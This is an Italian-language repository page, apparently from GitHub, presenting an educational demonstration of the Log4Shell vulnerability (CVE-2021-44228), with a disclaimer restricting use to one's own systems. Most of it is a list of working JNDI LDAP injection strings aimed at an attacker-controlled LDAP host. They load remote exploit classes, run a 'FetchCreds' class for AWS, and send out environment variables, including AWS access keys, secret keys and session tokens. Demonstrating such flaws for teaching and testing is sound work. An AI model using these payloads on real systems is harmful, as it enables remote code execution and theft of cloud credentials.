jxerome/log4shellDimostrazione educativa della vulnerabilità Log4Shell (CVE-2021-44228) con payload JNDI LDAP per test sperimentali sui propri sistemi.
Questo progetto è una dimostrazione del funzionamento della vulnerabilità di sicurezza log4shell.
Questa vulnerabilità è descritta nella CVE-2021-44228.
Il progetto è destinato esclusivamente a scopo didattico. Deve essere utilizzato solo sul proprio sistema e solo per fini sperimentali.
Qualsiasi esecuzione avviene a proprio rischio e pericolo. L'autore declina ogni responsabilità in caso di incidenti derivanti dall'esecuzione del progetto.
ldap_server=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.Exploit}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.ExploitP,msg=my friend}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.aws.FetchCreds}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:USER}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:PATH}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=os=${java:os}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=aws_credentials,AWS_ACCESS_KEY_ID=${env:AWS_ACCESS_KEY_ID},AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_ID},AWS_SESSION_TOKEN=${env:AWS_SESSION_TOKEN}}'